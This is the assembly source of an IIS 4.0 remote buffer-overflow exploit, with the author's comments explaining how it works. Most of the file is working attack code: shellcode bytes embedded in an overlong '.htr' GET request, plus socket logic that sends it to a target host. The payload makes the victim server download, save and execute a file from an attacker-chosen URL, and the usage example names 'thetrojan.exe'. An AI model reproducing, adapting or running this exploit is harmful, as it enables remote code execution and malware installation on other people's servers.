; IIS 4.0 remote overflow exploit.                       
; (c) dark spyrit -- barns@eeye.com
;
; greets & thanks to: neophyte/sacx/tree/everyone in #mulysa and
;                     #beavuh... and all the other kiwi's except ceo.
;
; credits to acp for the console stuff..
;
; I don't want to go in too deeply on the process of exploiting buffer
; overflows... there's various papers out there on this subject, instead I'll
; give just a few specifics relating to this one..
;
; Microsoft was rather good to us on this occasion, stuffing our eip value
; directly into a register then calling it.. no need to stuff valid addresses
; to make our way through various routines to eventually return to our 
; address... but, unfortunately it wasn't all smooth sailing. 
; Various bytes and byte sequences I was forced to avoid, as you'll quickly
; notice should you bother debugging this.. various push/pop pairs etc.
; I don't bother with any cleanup when all is done, NT's exception handling
; can cope with the mess :)
;
; The exploit works by redirecting the eip to the address of a loaded dll, 
; in this case ISM.DLL. Why?
; Because its loaded in memory, is loaded at a high address which gets around
; the null byte problem.. and is static on all service packs.
; The code from ISM.DLL jumps to my code, which creates a jump table of
; of functions we'll need, including the socket functions.. we do this 
; because unfortunately the dll's import tables don't include nearly enough
; of the functions we need..
; 
; The socket structure is created and filled at runtime, I had to do this
; at runtime because of the bad byte problem.. after this a small buffer is
; created, a get request issued to the web site of the file you want to 
; download.. file is then received/saved to disk/and executed..
; Simple huh? no not really :)
;
; Have fun with this one... feel free to drop me an email with any comments.
;
; And finally, heh.. "caveat emptor".
;
;
; you can grab the assembled exe at http://www.eEye.com.
;
; to assemble:
;
; tasm32 -ml iishack.asm
; tlink32 -Tpe -c -x iishack.obj ,,, import32


.386p
locals
jumps
.model flat, stdcall


extrn GetCommandLineA:PROC
extrn GetStdHandle:PROC
extrn WriteConsoleA:PROC
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn connect:PROC
extrn send:PROC
extrn recv:PROC
extrn WSACleanup:PROC
extrn gethostbyname:PROC
extrn htons:PROC
extrn socket:PROC
extrn inet_addr:PROC
extrn closesocket:PROC

.data

sploit_length           equ     1157

sploit:
 db "GET /" 
 db 041h, 041h, 041h, 041h, 041h, 041h, 041h
 db 576 dup (041h)
 db 041h, 041h, 041h, 041h, 041h, 041h, 0b0h, 087h, 067h, 068h, 0b0h, 087h
 db 067h, 068h, 090h, 090h, 090h, 090h, 058h, 058h, 090h, 033h, 0c0h, 050h
 db 05bh, 053h, 059h, 08bh, 0deh, 066h, 0b8h, 021h, 002h, 003h, 0d8h, 032h
 db 0c0h, 0d7h, 02ch, 021h, 088h, 003h, 04bh, 03ch, 0deh, 075h, 0f4h, 043h
 db 043h, 0bah, 0d0h, 010h, 067h, 068h, 052h, 051h, 053h, 0ffh, 012h, 08bh
 db 0f0h, 08bh, 0f9h, 0fch, 059h, 0b1h, 006h, 090h, 05ah, 043h, 032h, 0c0h
 db 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h, 052h, 051h
 db 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h, 05ah, 0e2h, 0e6h, 043h
 db 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h
 db 052h, 053h, 0ffh, 012h, 08bh, 0f0h, 05ah, 033h, 0c9h, 050h, 058h, 0b1h
 db 005h, 043h, 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h
 db 0f4h, 043h, 052h, 051h, 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h
 db 05ah, 0e2h, 0e6h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h
 db 0f4h, 089h, 047h, 0cch, 033h, 0c0h, 050h, 050h, 0b0h, 002h, 066h, 0abh
 db 058h, 0b4h, 050h, 066h, 0abh, 058h, 0abh, 0abh, 0abh, 0b1h, 021h, 090h
 db 066h, 083h, 0c3h, 016h, 08bh, 0f3h, 043h, 032h, 0c0h, 0d7h, 03ah, 0c8h
 db 075h, 0f8h, 032h, 0c0h, 088h, 003h, 056h, 0ffh, 057h, 0ech, 090h, 066h
 db 083h, 0efh, 010h, 092h, 08bh, 052h, 00ch, 08bh, 012h, 08bh, 012h, 092h
 db 08bh, 0d7h, 089h, 042h, 004h, 052h, 06ah, 010h, 052h, 0ffh, 077h, 0cch
 db 0ffh, 057h, 0f8h, 05ah, 066h, 083h, 0eeh, 008h, 056h, 043h, 08bh, 0f3h
 db 0fch, 0ach, 084h, 0c0h, 075h, 0fbh, 041h, 04eh, 0c7h, 006h, 08dh, 08ah
 db 08dh, 08ah, 081h, 036h, 080h, 080h, 080h, 080h, 033h, 0c0h, 050h, 050h
 db 06ah, 048h, 053h, 0ffh, 077h, 0cch, 0ffh, 057h, 0f0h, 058h, 05bh, 08bh
 db 0d0h, 066h, 0b8h, 0ffh, 00fh, 050h, 052h, 050h, 052h, 0ffh, 057h, 0e8h
 db 08bh, 0f0h, 058h, 090h, 090h, 090h, 090h, 050h, 053h, 0ffh, 057h, 0d4h
 db 08bh, 0e8h, 033h, 0c0h, 05ah, 052h, 050h, 052h, 056h, 0ffh, 077h, 0cch
 db 0ffh, 057h, 0ech, 080h, 0fch, 0ffh, 074h, 00fh, 050h, 056h, 055h, 0ffh
 db 057h, 0d8h, 080h, 0fch, 0ffh, 074h, 004h, 085h, 0c0h, 075h, 0dfh, 055h
 db 0ffh, 057h, 0dch, 033h, 0c0h, 040h, 050h, 053h, 0ffh, 057h, 0e4h, 090h
 db 090h, 090h, 090h, 0ffh, 06ch, 066h, 073h, 06fh, 066h, 06dh, 054h, 053h
 db 021h, 080h, 08dh, 084h, 093h, 086h, 082h, 095h, 021h, 080h, 08dh, 098h
 db 093h, 08ah, 095h, 086h, 021h, 080h, 08dh, 084h, 08dh, 090h, 094h, 086h
 db 021h, 080h, 08dh, 090h, 091h, 086h, 08fh, 021h, 078h, 08ah, 08fh, 066h
 db 099h, 086h, 084h, 021h, 068h, 08dh, 090h, 083h, 082h, 08dh, 062h, 08dh
 db 08dh, 090h, 084h, 021h, 078h, 074h, 070h, 064h, 06ch, 054h, 053h, 021h
 db 093h, 086h, 084h, 097h, 021h, 094h, 086h, 08fh, 085h, 021h, 094h, 090h
 db 084h, 08ch, 086h, 095h, 021h, 084h, 090h, 08fh, 08fh, 086h, 084h, 095h
 db 021h, 088h, 086h, 095h, 089h, 090h, 094h, 095h, 083h, 09ah, 08fh, 082h
 db 08eh, 086h, 021h, 090h, 098h, 08fh, 04fh, 086h, 099h, 086h, 021h
 _url2 db 85 dup (021h)
 db ".htr HTTP/1.0"
 db 00dh,00ah, 00dh, 00ah  

logo  db "------(IIS 4.0 remote buffer overflow exploit)---------------------------------", 13, 10
      db "(c) dark spyrit -- barns@eeye.com.",13,10
      db "http://www.eEye.com",13,10,13,10
      db "[usage: iishack <host> <port> <url>]", 13, 10
      db "eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe",13,10
      db "do not include 'http://' before hosts!",13,10
      db "-------------------------------------------------------------------------------", 13, 10, 0
logolen equ $-logo

u_length db 10,"No more than 70 chars in 2nd url.",13,10,0
u_lengthl equ $-u_length

errorinit db 10,"Error initializing winsock.", 13, 10, 0
errorinitl equ $-errorinit

nohost db 10,"No host or IP specified.", 13,10,0
nohostl equ $-nohost

noport db 10,"No port specified.",13,10,0
noportl equ $-noport

no_url db 10,"No URL specified.",13,10,0
no_urll equ $-no_url

urlinv db 10,"Invalid URL.. no file specified?",13,10,0
urlinvl equ $-urlinv

reshost db 10,"Error resolving host.",13,10,0
reshostl equ $-reshost

sockerr db 10,"Error creating socket.",13,10,0
sockerrl equ $-sockerr

ipill   db 10,"IP error.",13,10,0
ipilll   equ $-ipill

porterr db 10,"Invalid port.",13,10,0
porterrl equ $-porterr

cnerror db 10,"Error establishing connection.",13,10,0
cnerrorl equ $-cnerror

success db 10,"Data sent!",13,10,0
successl equ $-success

console_in      dd      ?
console_out     dd      ?
bytes_read      dd      ?

wsadescription_len equ 256
wsasys_status_len equ 128

WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends

sockaddr_in struct
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockaddr_in ends

wsadata WSAdata <?>
sin sockaddr_in <?>
sock dd ?
numbase dd 10
_port db 256 dup (?)
_host db 256 dup (?)
_url db 256 dup (?)
stuff db 042h, 068h, 066h, 075h, 041h, 050h

.code
start:

	call    init_console
	push    logolen
	push    offset logo
	call    write_console

	call    GetCommandLineA
	mov     edi, eax
	mov     ecx, -1
	xor     al, al
	push    edi
	repnz   scasb
	not     ecx
	pop     edi
	mov     al, 20h
	repnz   scasb
	dec     ecx
	cmp     ch, 0ffh
	jz      @@0
	test    ecx, ecx
	jnz     @@1
@@0:        
	push    nohostl
	push    offset nohost
	call    write_console
	jmp     quit3
@@1:
	mov     esi, edi
	lea     edi, _host
	call    parse
	or      ecx, ecx
	jnz     @@2
	push    noportl
	push    offset noport
	call    write_console
	jmp     quit3
@@2:
	lea     edi, _port
	call    parse
	or      ecx, ecx
	jnz     @@3
	push    no_urll
	push    offset no_url
	call    write_console
	jmp     quit3

@@3:
	push    ecx
	lea     edi, _url
	call    parse
	pop     ecx
	cmp     ecx, 71
	jb      length_ok
	push    u_lengthl
	push    offset u_length
	call    write_console
	jmp     quit3

length_ok:
	
	mov     esi, offset _url
	mov     edi, offset _url2
@@10:
	xor     al, al
	lodsb
	cmp     al, 02fh
	jz      whaq
	test    al, al
	jz      @@20
	add     al, 021h
	stosb
	jmp     @@10
@@20:
	push    urlinvl
	push    offset urlinv
	call    write_console
	jmp     quit3
	

whaq:
	push    esi
	lea     esi, stuff
	lodsw
	stosw
	lodsd
	stosd
	pop     esi
fileget:        
	xor     al, al
	lodsb
	test    al, al
	jz      getdone
	add     al, 021h
	stosb
	jmp     fileget
getdone:

	push    offset wsadata
	push    0101h
	call    WSAStartup
	or      eax, eax
	jz      winsock_found

	push    errorinitl
	push    offset errorinit
	call    write_console
	jmp     quit3

winsock_found:
	xor     eax, eax
	push    eax
	inc     eax
	push    eax
	inc     eax
	push    eax
	call    socket
	cmp     eax, -1
	jnz     socket_ok

	push    sockerrl
	push    offset sockerr
	call    write_console
	jmp     quit2

socket_ok:
	mov     sock, eax
	mov     sin.sin_family, 2
	mov     esi, offset _port
lewp1:
	xor     al, al
	lodsb
	test    al, al
	jz      go
	cmp     al, 039h
	ja      port_error
	cmp     al, 030h
	jb      port_error
	jmp     lewp1

port_error:
	push    porterrl
	push    offset porterr
	call    write_console
	jmp     quit1

go:

	mov     ebx, offset _port
	call    str2num
	mov     eax, edx
	push    eax
	call    htons
	mov     sin.sin_port, ax

	mov     esi, offset _host
lewp:
	xor     al, al
	lodsb
	cmp     al, 039h
	ja      gethost
	test    al, al
	jnz     lewp
	push    offset _host
	call    inet_addr
	cmp     eax, -1
	jnz     ip_aight
	push    ipilll
	push    offset ipill
	call    write_console
	jmp     quit1

ip_aight:
	mov     sin.sin_addr, eax
	jmp     continue

gethost:
	push    offset _host
	call    gethostbyname
	test    eax, eax
	jnz     gothost

	push    reshostl
	push    offset reshost
	call    write_console
	jmp     quit1

gothost:
	mov     eax, [eax+0ch]
	mov     eax, [eax]
	mov     eax, [eax]
	mov     sin.sin_addr, eax

continue:
	push    size sin
	push    offset sin
	push    sock
	call    connect
	or      eax, eax
	jz      connect_ok
	push    cnerrorl
	push    offset cnerror
	call    write_console
	jmp     quit1

connect_ok:

	xor     eax, eax
	push    eax
	push    sploit_length
	push    offset sploit
	push    sock
	call    send
	push    successl
	push    offset success
	call    write_console

quit1:
	push    sock
	call    closesocket
quit2:
	call    WSACleanup
quit3:
	push    0
	call    ExitProcess
parse   proc
;cheap parsing.. hell.. its only an exploit.

lewp9:
	xor     eax, eax
	cld
	lodsb
	cmp     al, 20h
	jz      done
	test    al, al
	jz      done2
	stosb
	dec     ecx
	jmp     lewp9
done:
	dec     ecx
done2:
	ret
endp

str2num proc
	push    eax ecx edi
	xor     eax, eax
	xor     ecx, ecx
	xor     edx, edx
	xor     edi, edi
lewp2:
	xor     al, al
	xlat
	test    al, al
	jz      end_it
	sub     al, 030h
	mov     cl, al
	mov     eax, edx
	mul     numbase
	add     eax, ecx
	mov     edx, eax
	inc     ebx
	inc     edi
	cmp     edi, 0ah
	jnz     lewp2

end_it:
	pop     edi ecx eax
	ret
endp

init_console  proc
	push    -10
	call    GetStdHandle
	or      eax, eax
	je      init_error
	mov     [console_in], eax
	push    -11
	call    GetStdHandle
	or      eax, eax
	je      init_error
	mov     [console_out], eax
	ret
init_error:
	push    0
	call    ExitProcess
endp

write_console proc    text_out:dword, text_len:dword
	pusha
	push    0
	push    offset bytes_read 
	push    text_len          
	push    text_out          
	push    console_out       
	call    WriteConsoleA
	popa
	ret
endp

end     start

